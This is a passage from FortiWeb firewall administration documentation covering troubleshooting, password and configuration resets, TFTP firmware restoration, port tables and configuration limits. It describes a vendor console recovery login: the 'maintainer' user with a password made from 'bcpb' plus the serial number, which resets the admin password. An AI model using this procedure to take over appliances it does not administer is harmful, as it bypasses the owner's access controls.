If your network administrators' or other accounts reside on an external server (e.g. Active Directory or RADIUS), first switch the account to be locally defined on the FortiWeb appliance. If the local account **fails**, correct connectivity between the client and appliance (see ["Connectivity issues"](#) on page 789). If the local account **succeeds**, troubleshoot connectivity between the appliance and your authentication server. If routing exists but authentication still fails, you can verify correct vendor-specific attributes and other protocol-specific fields by running a packet trace (see ["Packet capture"](#) on page 780).

Resetting passwords

If someone has forgotten or lost his or her password, or if you need to change an account's password, the `admin` administrator can reset the password.

If you forget the password of the `admin` administrator, however, you will **not** be able to reset its password through the web UI. You can either:

- Reset the FortiWeb appliance to its default state (including the default administrator account and password) by restoring the firmware. For details, see ["Restoring firmware \("clean install"\)"](#) on page 810.
- Connect to the local console, reboot the FortiWeb appliance, and set the password. For details, see ["To reset the admin account's password"](#) on page 804.

To reset an account's password

1. Log in as the `admin` administrator account.
2. Go to **System > Admin > Administrators**.
3. Click the row to select the account whose password you want to change.
4. Click **Change Password**.
5. In the **Old Password** field, type the current password.
6. In the **New Password** and **Confirm Password** fields, type the new password.

7. Click **OK.**

The new password takes effect the next time that account logs in.

To reset the `admin` account's password

To do this, you **must** either have direct physical, local access to the appliance, or have connected it to your terminal server which serves as an aggregator for direct physical accesses. For security reasons, this cannot be done via the web UI nor via CLI through the Ethernet network adapters.

1. Power off the FortiWeb appliance.**2. Find the serial number of the FortiWeb.**

This is usually on the bottom of physical appliances. If you have previously registered the appliance to associate it with your Fortinet Customer Service & Support account, you can also retrieve it from the website at:

<https://support.fortinet.com>

3. On your computer, copy the serial number.

This is so that you are ready to quickly paste it into the terminal emulator. Typing it slowly may cause the login to time out. The serial number is **case sensitive**.

4. While the appliance is shut down, connect the local console port of your appliance to your computer.**5. On your management computer, start a terminal emulator such as PuTTY**
(<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>). For details, see "To connect to the CLI using a local console connection" on page 117.**6. Power on the FortiWeb appliance.**

Power on self-test (POST) and other messages should begin to appear in the console.

7. Between 15–30 seconds after the login prompt appears, immediately enter:

```
maintainer
```

then enter:

```
bcpb<serial-number_str>
```

where `<serial-number_str>` is the serial number. (If you have copied it, in PuTTY, you can right-click to quickly paste it, instead of typing it in. This will prevent the login from timing out.)

If you are successful, the CLI will welcome you, and you can then enter the following commands to reset the admin account's password:

```
config system admin
  edit admin
    set password <new-password_str>
  end
exit
```

where `<new-password_str>` is the password for the administrator account named `admin`.

If you do **not** enter both the correct user name and the password within the correct time frame, the console will display an error message:

```
The hashed password length is invalid
```

To attempt the login again, power cycle the appliance.

Data storage issues

If FortiWeb cannot locally store **any** data such as logs, reports, and website backups for anti-defacement, it might have a damaged or corrupted hard disk. For fixes, see ["Hard disk corruption or failure"](#) on page 806.

If FortiWeb has been storing data but has suddenly stopped, first verify that FortiWeb has not used all of its local storage capacity by entering this CLI command:

```
diagnose system mount list
```

to display disk usage for all mounted file systems, such as:

```
Filesystem lk-blocks Used Available Use% Mounted on
/dev/ram0 61973 31207 30766 50% /
none 262144 736 261408 0% /tmp
none 262144 0 262144 0% /dev/shm
/dev/sdb2 38733 25119 11614 68% /data
/dev/sda1 153785572 187068 145783964 0% /var/log
/dev/sdb3 836612 16584 777528 2% /home
```



You can use alerts to notify you when FortiWeb has almost consumed its hard disk space. For details, see ["SNMP traps & queries"](#) on page 715.

You can also configure FortiWeb to overwrite old logs rather than stopping logging when the disk is full. For details, see ["When log disk is full"](#) on page 696.

Keep in mind, however, that this may not prevent full disk problems for other features. To free disk space, delete files such as auto-learning data and old reports that you no longer need.

If a full disk is not the problem, examine the configuration to determine if an administrator has disabled those features that store data.

If neither of those indicate the cause of the problem, verify that the disk's file system has not been mounted in read-only mode, which can occur if the hard disk is experiencing problems with its write capabilities. For details, see ["Hard disk corruption or failure"](#) on page 806.

Bootup issues

While FortiWeb is booting up, hardware and firmware components must be present and functional, or startup will fail. Depending on the degree of failure, FortiWeb may appear to be partially functional. You may notice that you cannot connect at all. If you can connect, you may notice that features such as reports and anti-defacement do not work. If you have enabled logging to an external location such as a Syslog server or FortiAnalyzer, or to memory, you should notice this log message:

```
log disk not mounted
```

Depending on the cause of failure, you may be able to fix the problem.

Hard disk corruption or failure

FortiWeb appliances usually have multiple disks. FortiWeb stores its firmware (operating system) and configuration files in a flash disk, but most models of FortiWeb also have an internal hard disk or RAID that is used to store non-configuration/firmware data such as logs, reports, auto-learning data, and website backups for anti-defacement. During startup, after FortiWeb loads its boot loader, FortiWeb will attempt to mount its data disk. If this fails due to errors, you will have the opportunity to attempt to recover the disk.

To determine if one of FortiWeb's internal disks may either:

- Have become corrupted
- Have experienced mechanical failure

view the event log. If the data disk failed to mount, you should see this log message:

```
date=2012-09-27 time=07:49:07 log_id=00020006 msg_id=0000000000002 type=event
  subtype="system" pri=alert device_id=FV-1KC3R11700136 timezone="(GMT-5:00)Eastern Time
  (US & Canada)" msg="log disk is not mounted"
```

Connect to FortiWeb's CLI via local console, then supply power. After the boot loader starts, you should see this prompt:

```
Press [enter] key for disk integrity verification.
```

Pressing the Enter key will cause FortiWeb to check the hard disk's file system to attempt to resolve any problems discovered with that disk's file system, and to determine if the disk can be mounted (mounted disks should appear in the internal list of mounted file systems, /etc/mtab). During the check, FortiWeb will describe any problems that it finds, and the results of disk recovery attempts, such as:

```
ext2fs_check_if_mount: Can't detect if filesystem is mounted due to missing mtab file
  while determining where /dev/sda1 is mounted.
/dev/sda1: recovering journal
/dev/sda1: clean, 56/61054976 files, 3885759/244190638 blocks
```

If the problem occurs while FortiWeb is still running (or after an initial reboot and attempt to repair the file system), in the CLI, enter:

```
diagnose hardware harddisk list
```

to display the number and names of mounted file systems.

For example, on a FortiWeb 1000C with a single properly functioning internal hard disk plus its internal flash disk, this command should show two file systems:

```
name size(M)
sda 1000204.89
sdb 1971.32
```

where `sda`, the larger file system, is from the hard disk used to store non-configuration/firmware data.

If that command does **not** list the data disk's file system, FortiWeb did not successfully mount it. Try to reboot and run the file system check.

If the data disk's file system **is** listed and appears to be the correct size, FortiWeb could mount it. However, there still could be other problems preventing the file system from functioning, such as being mounted in read-only mode, which would prevent new logs and other data from being recorded. To determine this, enter:

```
diagnose hardware logdisk info
```

to display the count, capacity, RAID status/level, partition numbers, and read-write/read-only mount status.

For example, on a FortiWeb-1000C with a single properly functioning data disk, this command should show:

```
disk number: 1
disk[0] size: 976.76GB
raid level: raid1
partition number: 1
mount status: read-write
```



To prevent file system corruption in the future, and to prevent possible physical damage, always make sure to shut down FortiWeb's operating system **before** disconnecting the power.

You can also display the status of each individual disk in the RAID array:

```
FortiWeb # diag hardware raid list
disk-number size(M) level
0(OK),1(OK), 1877274 raid1
```

If the file system could **not** be fixed by the file system check, it may be physically damaged or components may have worn out prematurely. Most commonly, this is caused by either:

- Failing to shut down FortiWeb's operating system before disconnecting the power (e.g. someone pulled the power plug while FortiWeb was running)
- Logging misconfiguration (e.g. logging very frequent logs like traffic logs or debug logs for an extended period of time to the local hard drive)

For hardware replacement, contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

Power supply failure

If you have supplied power, but the power indicator LEDs are **not** lit and the hardware has not started, the power supply may have failed. Contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

After powering on, if the power indicator LEDs **are** lit but a few minutes have passed and you still cannot connect to the FortiWeb appliance through the network using CLI or the web UI, you can either:

- Restore the firmware. For details, see "[Restoring firmware \("clean install"\)](#)" on page 810.

This usually solves most typically occurring issues.

- Verify that FortiWeb can successfully complete bootstrap.



Always halt the FortiWeb OS before disconnecting the power. Power disruption while the OS is running can cause damage to the disks and/or software.

To verify bootstrap, connect your computer directly to FortiWeb's local console port, then on your computer, open a terminal emulator such as PuTTY (<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>). Configure it to log all printable console output to a file so that you have a copy of the console's output messages in case you need to send it to Fortinet Customer Service & Support:

<https://support.fortinet.com>

Once connected, power cycle the appliance and observe the FortiWeb's output to your terminal emulator. You will be looking for some specific diagnostic indicators.

1. Are there console messages but text is garbled on the screen? If yes, verify your terminal emulator's settings are correct for your hardware. Typically, however, these are baud rate 9600, data bits 8, parity none, stop bits 1.
2. Does the hardware successfully complete the hardware power on self test (POST) and BIOS memory tests?
If not, you may need to replace the hardware. For assistance, contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

3. Does the boot loader start? You should see a message such as:

```
FortiBootLoader  
  
FortiWeb-1000C (17:52-09.08.2011)  
  
Ver:00010018  
  
Serial number:FV-1KC3R11700094  
  
Total RAM: 3072MB  
  
Boot up, boot device capacity: 1880MB.  
  
Press any key to display configuration menu...
```

If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

4. When pressing a key during the boot loader, do you see the following boot loader options?

```
[G]: Get firmware image from TFTP server.  
[F]: Format boot device.  
[B]: Boot with backup firmware and set as default.  
[Q]: Quit menu and continue to boot with default firmware.  
[H]: Display this list of options.
```

Enter G,F,B,Q, or H:

Please connect TFTP server to Ethernet port "1".

If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

5. Can the boot loader read the image of the OS software in the selected boot partition (primary or backup/secondary, depending on your selection in the boot loader)? You should see a message such as the following:

```
Reading boot image 2479460 bytes.  
  
Initializing FortiWeb...?
```

System is started.

If not, the image may be corrupted. Reboot and use the boot loader to switch to the other partition, if any. For details, see ["Bootting from the alternate partition"](#) on page 130.

If this is not possible, you can restore the firmware. If the firmware cannot be successfully restored, format the boot partition, and try again. For details, see ["Restoring firmware \("clean install"\)"](#) on page 810.

If you still cannot restore the firmware, there could be either a boot loader or disk issue. Contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

6. Does the login prompt appear? You should see a prompt like this:

FortiWeb login:

If not, or if the login prompt is interrupted by error messages, restore the OS software. If you recently upgraded the firmware, try downgrading by restoring the **previously** installed, last known good, version. For details, see ["Restoring firmware \("clean install"\)"](#) on page 810.

If restoring the firmware does not solve the problem, there could be a data or boot disk issue. Contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

If you **can** see and use the login prompt on the **local** console, but **cannot** successfully establish a session through the **network** (web UI, SSH or Telnet), first examine a backup copy of the configuration file to verify that it is not caused by a misconfiguration. The network interface and administrator accounts must be configured to allow your connection and login attempt. For details, see ["Configuring the network settings"](#) on page 162 and [Trusted Host #1](#) (page 332).

If the configuration appears correct, but no network connections are successful, first try restoring the firmware to rule out corrupted data that could be causing problems. For details, see ["Restoring firmware \("clean install"\)"](#) on page 810. You can also use this command to verify that resource exhaustion is not the problem:

```
diagnose system top delay 5
```

The process system usage statistics continues to refresh and display in the CLI until you press `q` (quit).

Issues forwarding non-HTTP/HTTPS traffic

If FortiWeb is operating in Reverse Proxy mode, by default, it does not forward non HTTP/HTTPS protocols to protected servers.

However, you can use the following command to enable IP-based forwarding (routing):

```
config router setting
  set ip-forward {enable | disable}
end
```

Resetting the configuration

If you will be selling your FortiWeb appliance, or if you are not sure what part of your configuration is causing a problem, you can reset it to its default settings and erase data. If you have not updated the firmware, this is the

same as resetting to the factory default settings.



Back up your configuration before beginning this procedure, if possible. Resetting the configuration could include the IP addresses of network interfaces. For details about backups, see ["Backups"](#) on page 324. For details about reconnecting to a FortiWeb appliance whose network interface configuration was reset, see ["Connecting to the web UI or CLI"](#) on page 114.

To delete your data from the appliance, connect to the CLI and enter this command:

```
execute formatlogdisk
```

To reset the appliance's configuration, connect to the CLI and enter this command:

```
execute factoryreset
```



Alternatively, you can reset the appliance's configuration to its default values for a specific software version by restoring the firmware during a reboot (a "clean install"). For details, see ["Restoring firmware \("clean install"\)"](#) on page 810.

Restoring firmware ("clean install")

Restoring (also called re-imaging) the firmware can be useful if:

- You are unable to connect to the FortiWeb appliance using the web UI or the CLI
- You want to install firmware **without** preserving any existing configuration (i.e. a **"clean install"**)
- A firmware version that you want to install requires a different size of system partition (see the Release Notes accompanying the firmware)
- A firmware version that you want to install requires that you format the boot device (see the Release Notes accompanying the firmware)

Unlike updating firmware, restoring firmware re-images the boot device, including the signatures that were current at the time that the firmware image file was created. Also, restoring firmware can only be done during a boot interrupt, before network connectivity is available, and therefore **requires a local console connection to the CLI. It cannot be done through an SSH or Telnet connection.**

Alternatively, if you cannot physically access the appliance's local console connection, connect the appliance's local console port to a terminal server to which you have network access. Once you have used a client to connect to the terminal server over the network, you will be able to use the appliance's local console through it. However, be aware that from a remote location, you may not be able to power cycle the appliance if abnormalities occur.

To restore the firmware



Back up your configuration before beginning this procedure, if possible. Restoring firmware resets the configuration, including the IP addresses of network interfaces. For details about backups, see ["Backups"](#) on page 324. For details about reconnecting to a FortiWeb appliance whose network interface configuration was reset, see ["Connecting to the web UI or CLI"](#) on page 114.

1. Download the firmware file from the Fortinet Customer Service & Support website:
<https://support.fortinet.com/>
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a **local console connection** from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category.

For details, see "Connecting to the web UI or CLI" on page 114.

4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. If you do not have one, you can temporarily install and run one such as `tftpd` on your management computer.



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.0.2.168
```

where `192.0.2.168` is the IP address of the TFTP server.

8. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

9. As the FortiWeb appliances starts, a series of system startup messages appear.

```
Press any key to display configuration menu.....
```

10. Immediately press a key to interrupt the system startup.



You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

```
Enter G,F,B,Q,or H:
```

Please connect TFTP server to Ethernet port "1".

11. If the firmware version requires that you first format the boot device before installing firmware, type **F**. Format the boot disk before continuing.

12. Type **G** to get the firmware image from the TFTP server.

The following message appears:

```
Enter TFTP server address [192.0.2.168]:
```

13. Type the IP address of the TFTP server and press Enter.

The following message appears:

```
Enter local address [192.0.2.188]:
```

14. Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.

The following message appears:

```
Enter firmware image file name [image.out]:
```

15. Type the file name of the firmware image and press Enter.

The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:

```
MAC:00219B8F0D94
```

```
#####
```

```
Total 28385179 bytes data downloaded.
```

```
Verifying the integrity of the firmware image..
```

```
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support website, try a different TFTP server.

16. Type **D**.

The FortiWeb appliance downloads the firmware image file from the TFTP server. The FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.

The FortiWeb appliance reverts the configuration to default values for that version of the firmware.

17. To verify that the firmware was successfully installed, log in to the CLI and type:

```
get system status
```

The firmware version number is displayed.

18. Either reconfigure the FortiWeb appliance or restore the configuration file. For details, see ["How to set up your FortiWeb"](#) on page 97 and ["Restoring a previous configuration"](#) on page 328.

If you are **downgrading** the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature's default values for that version of the firmware. You may need to reconfigure some settings.

19. Update the attack definitions.

Installing firmware replaces the current attack definitions with those included with the firmware release that you are installing. After you install the new firmware, make sure that your attack definitions are up-to-date. For details, see ["Uploading signature & geography-to-IP updates"](#) on page 197.

Appendix A: Port numbers

Communications between the FortiWeb appliance, clients, protected web servers, and FortiGuard Distribution Network (FDN) require that any routers and firewalls between them permit specific protocols and port numbers.

The following tables list the default port assignments used by FortiWeb.

Port	Protocol	Purpose
N/A	ARP/NS	HA failover of network interfaces. For details, see "HA heartbeat & synchronization" on page 76.
N/A	ICMP	Server health checks. For details, see "Configuring server up/down checks" on page 390. <code>execute ping</code> and <code>execute traceroute</code> . See the <i>FortiWeb CLI Reference</i> (http://docs.fortinet.com/fortiweb/reference).
21	TCP	Anti-defacement backup and restoration (FTP). For details, see "Anti-defacement" on page 597. FTP configuration backup. For details, see "To back up the configuration via the web UI to an FTP/SFTP server" on page 325.
22	TCP	Anti-defacement backup and restoration (SSH/SCP). For details, see "Anti-defacement" on page 597. SFTP configuration backup. For details, see "To back up the configuration via the web UI to an FTP/SFTP server" on page 325.
25	TCP	SMTP for alert email. For details, see "Configuring email settings" on page 712.
53	UDP	DNS queries. For details, see "Configuring DNS settings" on page 185.
69	UDP	TFTP for backups, restoration, and firmware updates. See commands such as <code>execute backup</code> or <code>execute restore</code> in the <i>FortiWeb CLI Reference</i> (http://docs.fortinet.com/fortiweb/reference).
80	TCP	Server health checks. For details, see "Configuring server up/down checks" on page 390.
123	UDP	NTP synchronization. For details, see "Setting the system time & date" on page 133.

Port	Protocol	Purpose
137, 138, 139	UDP	Anti-defacement backup and restoration (Windows-style share). For details, see "Anti-defacement" on page 597.
162	UDP	SNMP traps. For details, see "SNMP traps & queries" on page 715.
389	TCP	LDAP authentication queries. For details, see "Configuring an LDAP server" on page 346.
443	TCP	FortiGuard service polling and update downloads. For details, see "Connecting to FortiGuard services" on page 187. Server health checks. For details, see "Configuring server up/down checks" on page 390.
445	TCP	NTLM authentication queries. For details, see "Configuring an NTLM server" on page 353. Anti-defacement backup and restoration (Windows-style share). For details, see "Anti-defacement" on page 597.
514	UDP	Syslog. For details, see "Configuring logging" on page 693.
636	TCP	LDAPS authentication queries. For details, see "Configuring an LDAP server" on page 346.
1812	UDP	RADIUS authentication queries. For details, see "Configuring a RADIUS server" on page 351.
6010	TCP	HA configuration synchronization. For details, see "HA heartbeat & synchronization" on page 76.
6055	Proprietary protocol	HA heartbeat. Layer 2 multicast. For details, see "HA heartbeat & synchronization" on page 76.
955	TCP	Configuration replication. For details, see "Replicating the configuration without FortiWeb HA (external HA)" on page 149.

Default ports used by FortiWeb for incoming traffic (listening)

Port	Protocol	Purpose
N/A	ICMP	<code>ping</code> and <code>traceroute</code> responses. For details, see "Configuring the network interfaces" on page 164.
22	TCP	SSH administrative CLI access. For details, see "Configuring the network interfaces" on page 164.

Port	Protocol	Purpose
23	TCP	Telnet administrative CLI access. For details, see "Configuring the network interfaces" on page 164. Note that Telnet access is not allowed on all of the network interfaces by default for security reasons.
80	TCP	HTTP administrative web UI access. For details, see "Configuring the network interfaces" on page 164 and "How to use the web UI" on page 84. Predefined HTTP service. Only occurs if the service is used by a policy. For details, see "Predefined services" on page 428.
161	UDP	SNMP queries. For details, see "Configuring an SNMP community" on page 716 and "Configuring the network interfaces" on page 164.
443	TCP	HTTPS administrative web UI access. Only occurs if the destination address is a network interface's IP address. For details, see "Configuring the network interfaces" on page 164 and "How to use the web UI" on page 84. Predefined HTTPS service. Only occurs if the service is used by a policy, and if the destination address is a virtual server or bridged connection. For details, see "Predefined services" on page 428.
8333	TCP	Configuration replication. For details, see "Replicating the configuration without FortiWeb HA (external HA)" on page 149.
6055	UDP	HA heartbeat. Layer 2 multicast. For details, see "HA heartbeat & synchronization" on page 76.
6056	UDP	HA configuration synchronization. Layer 2 multicast. For details, see "HA heartbeat & synchronization" on page 76.

Appendix B: Maximum configuration values

These tables provide the maximum number of configuration objects and data analytics capacity for FortiWeb products. They are not a guarantee of performance. For values such as hardware specifications that do not vary by software version or configuration, see your model's QuickStart Guide.

Maximum ADOMs, policies and server pools (per appliance)

FortiWeb model	Maximum ADOMs	Maximum server policies	Maximum server pools
FortiWeb 100D	32	32	256
FortiWeb 400B	32	32	256
FortiWeb 400C	32	64	256
FortiWeb 400D	32	64	256
FortiWeb 600D	32	96	384
FortiWeb 1000B	32	64	256
FortiWeb 1000C	32	128	256
FortiWeb 1000D	64	256	512
FortiWeb 1000E	64	256	512
FortiWeb 2000E	64	256	512
FortiWeb 3000C	32	256	256
FortiWeb 3000CFsx	32	256	256
FortiWeb 3000D	64	512	512
FortiWeb 3000DFsx	64	512	512
FortiWeb 3000E	64	512	512
FortiWeb 3010E	64	512	512
FortiWeb 4000C	32	512	256
FortiWeb 4000D	64	1024	1024

FortiWeb model	Maximum ADOMs	Maximum server policies	Maximum server pools
FortiWeb 4000E	64	1024	1024
FortiWeb-VM	64	For details, see "Maximum values on FortiWeb-VM" on page 824.	256

Due to resource constraints, the maximums for certain objects apply to each appliance globally and you cannot increase them by adding ADOMs. The maximums for other objects apply at the ADOM level only, so you can add objects beyond the maximum by adding ADOMs. For example, for a FortiWeb 1000D, you can configure up to 1024 URL Access policies for each of the 32 possible ADOMs because the limit applies to each ADOM, not the appliance. However, because the limit for server policies is a global one that applies to the appliance, you can configure only 256 server policies, regardless of how many ADOMs you use.

Depending on the RAM available, adding the maximum number of objects to multiple ADOMs can have an impact on your FortiWeb's performance. Fortinet recommends that you do not add the maximum number of objects in all ADOMs.

Per appliance configuration maximums

Web UI item	Main table	Sub-table
System		
Network	Policy Route	255
	Static Route	255
	Local	255
	SNI	255
Certificates	CA	255
	CA Group	255
	Intermediate CA	255
	Intermediate CA Group	255
	CRL	255
	Certificate Verify	255
Server Objects		
Server	Health Check	255 (including

Web UI item	Main table	Sub-table
	predefined rules)	
Persistence	255	N/A

Per ADOM configuration maximums

Web UI item	Main table	Sub-table
System		
Network	Interface	512 (total physical interfaces and VLAN subinterfaces)
Web Protection Profile	Inline Protection Profile	255
	Offline Protection Profile	255
Server Objects		
	Virtual Server	255
	Server Pool	For details, see "Maximum ADOMs, policies and server pools (per appliance)" on page 817.
	Health Check	For details, see "Per appliance configuration maximums" on page 818.
	Persistence	
	HTTP Content Routing	255
Protected Hostnames		255
Service	Predefined	2
	Custom	255
Global	Known Search Engines	No limit
	Predefined Global White List	No limit
	Custom Global White List	255
X- Forwarded-For		255

Web UI item		Main table	Sub-table
Application Delivery			
URL Rewriting Policy	Policy	255	255
	Rule	255	10
Authentication Policy	Policy	255	255
	Rule	255	255
Site Publish	Policy	255	255
	Rule	255	N/A
	Keytab File	255	N/A
Compression	File Compress Policy	255	255
	File Uncompress Policy	255	255
	Exclusion Rule	255	255
Caching	Web Cache Policy	255	255
	Web Cache Exception	255	255
Web Protection			
Known attacks	Signatures/Exceptions	64	Enabled main classes: 64
			Disabled sub-classes: 255
			Disabled signature table: 2048
			Filter table: 32
			Alert-only table: 255
			Disabled False Positive Mitigation table: 255
	Global Disable Signature	1024	N/A

Web UI item		Main table	Sub-table
	Custom Signature Group	255	64
	Custom Signature	255	255
Advanced Protection	Custom Policy	1024	1024
			Source IPv4/IPv6: 255
			URL: 255
			HTTP Header: 255
			Access Rate Limit: 1
			Signature main class: 255
			Signature sub-class: 255
	Custom Rule	1024	Signature: 10240
			Custom signature: 1
			Transaction Timeout: 1
			Response Code: 255
			Content Type: 1
			Packet Interval Timeout: 1
			Parameter: 255
			Occurrence: 1
	Padding Oracle Protection	255	255

Web UI item		Main table	Sub-table
Input Validation	Parameter Validation Policy	255	1024
	Parameter Validation Rule	1024	192
	Hidden Fields Policy	255	255
	Hidden Fields Rule	255	32
	File Security Policy	255	255
	File Security Rule	255	255
Protocol	HTTP Protocol Constraints	255	255
	HTTP Constraints Exception	255	32
Access	Brute Force	255	255
	URL Access Policy	1024	1024
	URL Access Rule	1024	32
	Page Access	255	16
	Start Pages	255	32
	Allow Method Policy	255	255
	Allow Method Exceptions	255	32
	IP List	255	255
	Geo IP	255	255
	Geo IP Exceptions	255	255
Web Anti-Defacement	Anti Defacement	256	N/A
	Anti-Defacement File Filter	255	255
DoS Protection			
Application	HTTP Access Limit	255	N/A
	Malicious IPs	255	N/A
	HTTP Flood Prevention	255	N/A

Web UI item		Main table	Sub-table
Network	TCP Flood Prevention	255	N/A
Dos Protection Policy		255	N/A
IP Reputation			
	Exceptions	255	N/A
Auto Learn			
Auto Learn Profile		255	N/A
Report		The number of Auto Learn reports which FortiWeb has learned. For each report, the maximum node number of the report tree is 16384 and the node size is 4096 bytes.	N/A
Predefined Pattern	Data Type Group	255	512
	Data Type	None	N/A
	URL Pattern	None	N/A
	Suspicious URL	255	512
Custom Pattern	Data Type	255	N/A
	Suspicious URL Policy	255	64
	Suspicious URL Rule	255	N/A
Application Templates	Application Policy	255	255
	URL Replacer	255	N/A
Web Vulnerability Scan			
Web Vulnerability Scan	Web Vulnerability Scan Policy	255	N/A
	Web Vulnerability Scan Profile	255	N/A
	Web Vulnerability Scan Schedule	255	N/A

Maximum values on FortiWeb-VM

FortiWeb-VM has 4 virtual network interfaces (vNICs, or virtual ports).

The maximum number of server policies **initially** varies by the maximum amount of virtual memory (vRAM) available to FortiWeb-VM in VMware, up to a hard limit. FortiWeb-VM allows up to 20 policies for the first 1 GB of vRAM, then an additional 15 policies per additional 1 GB of vRAM, up to a maximum of 150 server policies.

In other words, at first, the server policy limit increases linearly with vRAM. But after 10 GB of vRAM, further increasing the vRAM no longer has an affect. 11 GB or more vRAM allows up to 150 server policies. Keep in mind that increasing the vRAM may still benefit performance.

Data analytics maximums

The capability of each model's hardware determines the capacity of the data analytics database.

- **Max. Number Records per Table**—The maximum number of data records that each table in the data analytics database can contain.
- **Max. Number Tables**—The maximum number of database tables that the model can store.
- **Max. Tables Searched per Query**—The maximum number of database tables that FortiWeb searches per query.

Maximum storage and queries for data analytics

Model	Max. Number Records per Table	Max. Number Tables	Max. Tables Searched per Query
FortiWeb 100D	1,000,000	20	1
FortiWeb 400B	1,000,000	20	1
FortiWeb 400C	1,000,000	20	1
FortiWeb-VM	1,000,000	20	1
FortiWeb 1000B	1,000,000	100	2
FortiWeb 1000C	1,000,000	100	2
FortiWeb 1000D	1,000,000	100	2
FortiWeb 1000E	1,000,000	100	2
FortiWeb 3000C/CFsx	1,000,000	200	3
FortiWeb 3000D/DFsx	1,000,000	200	3

Model	Max. Number Records per Table	Max. Number Tables	Max. Tables Searched per Query
FortiWeb 3000E	1,000,000	200	3
FortiWeb 4000C	1,000,000	300	4
FortiWeb 4000D	1,000,000	300	4
FortiWeb 4000E	1,000,000	300	4

Appendix C: Supported RFCs, W3C, & IEEE standards

This release of FortiWeb supports the following IETF RFCs, W3C standards, and IEEE standards.

RFCs

RFC 792

Description: Internet Control Message Protocol

Category: Internet Standard

Webpage: <https://tools.ietf.org/html/rfc792>

RFC 1213

Description: Management Information Base for Network Management of TCP/IP-based internets: MIB-II

Category: Internet Standard

Webpage: <https://tools.ietf.org/html/rfc1213>

RFC 2548

Description: Microsoft Vendor-specific RADIUS Attributes

Category: Informational

Webpage: <https://tools.ietf.org/html/rfc2548>

RFC 2616

Description: Hypertext Transfer Protocol – HTTP/1.1

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc2616>

RFC 2617

Description: HTTP Authentication: Basic and Digest Access Authentication

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc2617>

RFC 2665

Description: Definitions of Managed Objects for the Ethernet-like Interface Types

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc2665>

RFC 2965

Description: HTTP State Management Mechanism

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc2965>

RFC 4918

Description: HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc4918>

RFC 5280

Description: Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc5280>

RFC 6176

Description: Prohibiting Secure Sockets Layer (SSL) Version 2.0

Category: Standards Track

Webpage: <https://tools.ietf.org/html/rfc6176>

To enable violation of RFC 6176, see `weak_enc` and `ssl-md5` settings under the `config system global` command in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

W3C standards

Extensible markup language (XML) 1.0 (Third Edition)

Webpage: <https://www.w3.org/TR/2004/REC-xml-20040204>

XML Current Status

Webpage: https://www.w3.org/standards/techs/xml#w3c_all

IEEE standards

Std 802.1D

Description: IEEE Standard for Local and Metropolitan Area Networks: Media Access Control (MAC) Bridges

Webpage: <http://standards.ieee.org/getieee802/download/802.1D-2004.pdf>

Std 802.1Q

Description: Virtual LANs

Webpage: <http://www.ieee802.org/1/pages/802.1Q.html>

Appendix D: Regular expressions

Most FortiWeb features support regular expressions. Regular expressions are a powerful way of denoting all possible forms of a string. They are very useful when trying to match text that comes in many variations but follows a definite pattern, such as dynamic URLs or web page content.

Regular expressions can involve very computationally intensive evaluations. For best performance, you should only use regular expressions where necessary, and build them with care. For details about optimization, see ["Regular expression performance tips"](#) on page 747.

See also

- ["Regular expression syntax"](#) on page 829
- ["What are back-references?"](#) on page 835
- ["Cookbook regular expressions"](#) on page 836
- ["Language support"](#) on page 838

Regular expression syntax

Accurate regular expression syntax is vital for detecting different forms of the same attack, for rewriting all but only the intended URLs, and for allowing normal traffic to pass. For details, see ["Reducing false positives"](#) on page 751. When configuring **Regular Expression** (page 527) or similar settings, always use the >> (test) button to:

- Validate your expression's syntax.
- Look for unintended matches.
- Verify intended matches.

Will your expression match? Will it match more than once? Where will it match? Generally, unless the feature is specifically designed to look for all instances, FortiWeb will evaluate only a specific location for a match, and it will start from that location's beginning. (In English, this is the left most, topmost point in the string.) FortiWeb will take only the first match, unless you have defined a number of repetitions.

